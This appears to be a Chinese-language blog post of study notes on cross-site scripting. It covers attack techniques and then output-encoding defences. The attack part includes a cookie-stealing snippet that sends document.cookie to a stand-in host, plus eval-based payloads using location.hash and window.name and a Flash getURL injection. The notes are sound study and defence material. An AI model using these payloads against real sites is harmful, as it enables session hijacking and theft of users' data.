再谈XSS

前言

最近在看白帽子讲Web安全,发现XSS还有很多有意思的地方

XSS攻击

劫持cookie

XSS可以利用src来加载远程脚本

恶意js代码

var img = document.createElement("img");
img.src = "http://www.eval.com/log?"+escape(document.cookie);
document.body.appendChild(img);

Cookie的Httponly可以防止Cookie劫持

构造GET和POST请求

  • 构造GET请求

    var img = document.createElement("img");
    img.src = "xxx";
    document.body.appendChild(img);
  • 构造POST请求

    一种是构造一个form表单然后手动submit

    另一种是使用XMLHttpRequest发送一个POST请求

XSS钓鱼

用JS代码画一个登录框

识别用户浏览器

主要用于收集信息

方法有直接获取UserAgent,但不够准确

不同浏览器的不同版本之间可能有细微的差别,利用这些差别来判断浏览器版本更准确

识别用户安装的软件

XSS的payload可以扫描出浏览器的扩展和插件

FireFox中可以查询navigator.pluginss

chrome中可以用chrome://来判断某个扩展图标在不在

CSS History Hack

通过判断链接的颜色来判断一个链接是否被访问过

获取用户的真实IP地址

通过调用Java Applet接口获取

XSS Worm

攻击平台

Attack API

BeEF

XSS-Proxy

XSS构造技巧

利用字符编码

对于GBK/GB2312编码的页面,%c1\两个字符会组合形成Unicode字符,从而造成引号逃逸

绕过长度限制

利用事件

比如onclick

利用location.hash

onclick="eval(location.hash.substr(1))"

注释符

通过合并前后两个注释符来实现绕过

base标签

通过插入base标签来劫持当前页面中的所有使用"相对路径"的标签

window.name

window.name的数据可以实现跨域传递

<script>
    window.name = "alert(document.cookie)";
    location.href = "xxx";
</script>

打开xss站点后,只需执行一下代码即可

eval(name);

Apache Expect Header XSS

影响范围是Apache Httpd Server版本1.3.34、2.0.57、2.2.1及以下

服务器在出错返回时,会把Expect头的内容未经任何处理便写入到页面中

使用Flash构造请求可以利用这个漏洞

Anehta回旋镖

跨域获取本地cookie

Flash XSS

Flash中可以嵌入ActionScript脚本

getURL("javascript:alert(document.cookie)")

因此网站应考虑适应将flash转码为flv

使用allowScriptAccess参数限制Flash与HTML的通信以及allowNetworking控制Flash与外部网络通信

XSS防御技巧

HttpOnly

禁止JS访问带有HttpOnly属性的cookie

但攻击者还是可以利用AJAX构造HTTP请求

输入检查

像XSS Filter这样的输入检查往往会有一些问题

输出检查

使用编码函数将字符转为HTMLEntities

在PHP中有htmlentities()htmlspecialchars()可满足要求

还有各种JavascriptEncode(除了数字字母外的字符,都用十六进制表示),XMLEncode……

Java的StringEscapeUtils包中还有很多escape函数

DJango1.0web2py中,都默认HTMLEncode所有变量,但还是有漏洞

解决XSS要在正确的地方选择正确的编码方式

<body>
  <a href=# onclick="alert('$var');">test</a>
</body>

我们令

$var = htmlencode("';alert('2");

对于浏览器而言,htmlparser会优先于JavaScript Parser执行,所以HTMLEncode字符会先解码,然后执行Javascript事件

正确防御XSS

本质:用户的数据被当成了HTML代码一部分来执行

  • 在HTML标签中输出

    对变量使用HTMLEncode

  • 在HTML属性中输出

    使用严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符被编码成HTMLEntities

  • <script>标签中输出

    首先确保输出的变量在引号中,攻击者必须要闭合引号,然后用JavascriptEncode

  • 在事件中输出

    与在<script>标签中输出类似

  • 在CSS中输出

    应该不常见

  • 在地址中输出

    一种是<a href="http://www.evil.com/?test=$var">test</a>这里可以用URLEncode函数

    另一种是<a href="$var">test</a>攻击者可能会构造伪协议javascript:alert(1);或者vbscript或者dataURI解决方法考虑添加http头再URLEncode

  • 处理富文本

    考虑输入检查,在过滤时,“事件”和一些标签要被严格禁止

    在标签的选择上尽量用白名单,还要过滤CSS

    比较好的项目:Anti-SamyHTMLPurify

  • 防御DOM Based XSS

    DOM型XSS是从JS输出数据到HTML里,而前面的方法是针对从服务器输出到HTML界面

    <script>
        var x = "$var";
        document.write("<a href='"+x+"'>test</a>");
    </script>

    如果只用一次JavascriptEncode,那么第一句话那里不会有问题,写入HTML后会产生XSS

    如果只用一次HTMLEncode,那可能会出现“输出检查”中的问题

    正确的方法是,先执行一次JavascriptEncode,如果输出到事件或脚本,则再进行一次javascriptEncode,如果输出到HTML内容或属性,则要做一次HTMLEncode

    JS输出到HTML的函数
    xxx.outerHTML=
    innerHTML.replace
    document.attachEvent()
    window.attachEvent()
    document.location.replace()
    document.location.assign()
    ……
    一些DOMXSS潜在的输入点
    inputs框
    window.location(href,hash...)
    window.name
    document.referrer
    document.cookie
    localstage
    XMLHttpRequest返回的数据

    深入学习:https://code.google.com/archive/p/domxsswiki/